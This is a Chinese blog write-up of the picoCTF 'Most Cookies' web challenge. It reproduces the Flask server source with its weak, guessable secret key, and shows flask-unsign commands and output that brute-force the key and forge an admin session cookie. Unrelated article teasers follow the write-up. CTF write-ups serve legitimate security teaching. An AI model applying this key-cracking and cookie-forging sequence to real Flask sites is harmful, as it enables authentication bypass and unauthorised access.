picoCTF-Web Exploitation-Most Cookies

Description

Alright, enough of using my own encryption. Flask session cookies
should be plenty secure!
server.py
http://mercury.picoctf.net:53700/

Hints

How secure is a flask cookie?

我们先下载server.py,分析逻辑

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)@app.route("/")
def main():if session.get("very_auth"):check = session["very_auth"]if check == "blank":return render_template("index.html", title=title)else:return make_response(redirect("/display"))else:resp = make_response(redirect("/"))session["very_auth"] = "blank"return resp@app.route("/search", methods=["GET", "POST"])
def search():if "name" in request.form and request.form["name"] in cookie_names:resp = make_response(redirect("/display"))session["very_auth"] = request.form["name"]return respelse:message = "That doesn't appear to be a valid cookie."category = "danger"flash(message, category)resp = make_response(redirect("/"))session["very_auth"] = "blank"return resp@app.route("/reset")
def reset():resp = make_response(redirect("/"))session.pop("very_auth", None)return resp@app.route("/display", methods=["GET"])
def flag():if session.get("very_auth"):check = session["very_auth"]if check == "admin":resp = make_response(render_template("flag.html", value=flag_value, title=title))return respflash("That is a cookie! Not very special though...", "success")return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])else:resp = make_response(redirect("/"))session["very_auth"] = "blank"return respif __name__ == "__main__":app.run()

这里的逻辑表示,本站使用Python的Flask框架

  1. secret_keycookie_names 中随机选取
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
  1. 要渲染flag.html页面展示flag_value,需要访问路由/display
  2. 要访问/display需要session中满足very_auth=admin
  3. 默认very_auth=blank

那么我们的步骤应该是这样:

访问网站拿到session

eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Zj5SAw.yDhJBck0rG1vky-AxS4GxUhG-qw

这是JWT格式,去JWT官网解析得到

HEADER:{"very_auth": "blank"
}

下一步就是要将very_auth改为admin ,该网站上要指出的另一件事是有一个“验签”部分。由于Flask Cookie 涉及加密,因此设置了一个secret_key来防止攻击者。那么我们接下来就要找到这个secret_key 范围就在cookie_names

安装flask-unsign(我是windows,cmd环境,请注意引号相关)

C:\Users\HUCKER>py -m pip install flask-unsign

使用flask-unsign及cookie_names转换的wordlist解签找到secret_key 得到结果peanut butter

C:\Users\HUCKER>flask-unsign --unsign --server http://mercury.picoctf.net:53700/ --wordlist wordlist.txt
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Zj8ERw.nHxSKV9M89MrPwFqeNAQnPG7qiM
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 28 attemptscadamia
'peanut butter'

使用flask-unsign对{'very_auth': 'admin'} 进行签名,使用我们解密出的secret

C:\Users\HUCKER>flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "peanut butter"
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Zj8LNg.pxdjkKcibAI5RG9OdMcWVkUsFXo

将得到签名后的token替换到网页cookie→session中,刷新页面得到flag
在这里插入图片描述

wordlist.txt(放到cmd运行目录即可,我的是C:\Users\HUCKER

snickerdoodle
chocolate chip
oatmeal raisin
gingersnap
shortbread
peanut butter
whoopie pie
sugar
molasses
kiss
biscotti
butter
spritz
snowball
drop
thumbprint
pinwheel
wafer
macaroon
fortune
crinkle
icebox
gingerbread
tassie
lebkuchen
macaron
black and white
white chocolate macadamia

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/688464.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JWT生成RSA密钥文档

JWT生成RSA密钥文档 创建jwt文件夹 创建jwt文件夹 进入文件夹 进入jwt文件夹,输入cmd,如图 3、生成公钥私钥 keytool -genkeypair -alias pdm -keyalg RSA -keypass Gacrnd#123 -keystore pdm.jks -storepass Gacrnd#123 -alias:密钥的别名…

一种简单的小报表本地缓存方案

适应如下场景:关联表多,接口响应慢,报表数据不多,可能就十多行。参数也固定,实时性要求不高,隔那么半小时刷新一次,查询性能要求高,给领导看的,要求很快。 使用示例&…

(三十九)第 6 章 树和二叉树(二叉树的三叉链表存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrc…

【Web后端】Tomcat简介_安装_解决乱码_idea配置

1.1 简介 tomcat是在oracle公司的ISWDK(lavaServer Web DelevopmentKit)的基础上发展起来的一个优秀的开源的servlet容器tomcat使用java语言编写。运行稳定、可靠、效率高&#xff0c;可以和目前 主流web服务器一起工作(如IIS、Apache、 Nginx)tomcat是Apache软件基金会(Apach…

黏土滤镜制作方法:探索黏土特效制作的魅力

在数字时代&#xff0c;图像处理已经成为我们生活的一部分&#xff0c;无论是社交媒体上的照片分享&#xff0c;还是专业设计领域的创作&#xff0c;都离不开对图像的精心处理。而黏土滤镜&#xff0c;作为一种独特而富有艺术感的图像处理效果&#xff0c;受到了越来越多人的喜…

存内计算加速大模型——REM-CiM的RGB-事件融合多模态类比计算内存(CiM)技术

本文为大模型&存内计算融合专题的首篇文章&#xff0c;我们将以这篇名为《REM-CiM: Attentional RGB-Event Fusion Multi-modal Analog CiM for Area/Energy-efficient Edge Object Detection during both Day and Night》为例[1]&#xff0c;探讨其在文中提到的多模态大模…

贵金属价格持续走高是投资机会吗?

在当前的金融市场环境&#xff0c;黄金、白银等贵金属价格一直上涨&#xff0c;吸引了众多投资者的关注。那么&#xff0c;贵金属价格持续走高是否是一个投资机会&#xff1f;可以明确的是贵金属价格上涨确实存在投资机会&#xff0c;但投资者需审慎分析各种因素并制定合理的投…

开发利器 - docker 安装运行 mysql

本文选择安装的mysql版本为5.7 &#xff0c;安装环境 mac 1、查看镜像是否存在 docker search mysql:5.7 2、拉取镜像 docker pull mysql:5.7 3、运行镜像 docker run --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORDroot1234 -d mysql:5.7 --name&#xff1a;指定容器…

Leetcode—796. 旋转字符串【简单】

2024每日刷题&#xff08;132&#xff09; Leetcode—796. 旋转字符串 实现代码 class Solution { public:bool rotateString(string s, string goal) {return ((s.length() goal.length()) && (s s).find(goal) ! string::npos);} };运行结果 之后我会持续更新&am…

水表智能抄表系统是什么?

水表智能抄表系统是一种现代化水资源保护专用工具&#xff0c;它利用先进的物联网、云计算和大数据剖析&#xff0c;完成了智能抄表、实时监控系统、数据分析等作用&#xff0c;大大提高了水务管理的效率和精确性。 1.功能特点 1.1远程控制自动抄表 传统水表抄水表方法采用人…

2万字干货:如何从0到1搭建一套会员体系(3)

开始本节前还是有个问题&#xff1a;为什么产品需要积分&#xff0c;或积分有什么意义&#xff1f; 有很多公司或产品&#xff0c;在没有想清楚上面这个问题的时候&#xff0c;就在产品体系&#xff08;或会员体系&#xff09;中加入了积分&#xff0c;并用“提升用户活跃和忠诚…

又一位互联网大佬转行当网红,能写进简历么?

最近半个月&#xff0c;有两个中年男人仿佛住进了热搜。 一个是刚刚辟谣自己“卡里没有冰冷的 40 亿”的雷军&#xff0c;另一个则是在今年年初就高呼“如果有可能&#xff0c;企业家都要去当网红”的 360 创始人周鸿祎。 他也确实做到了。 先是作为当年 3Q 大战的当事人&…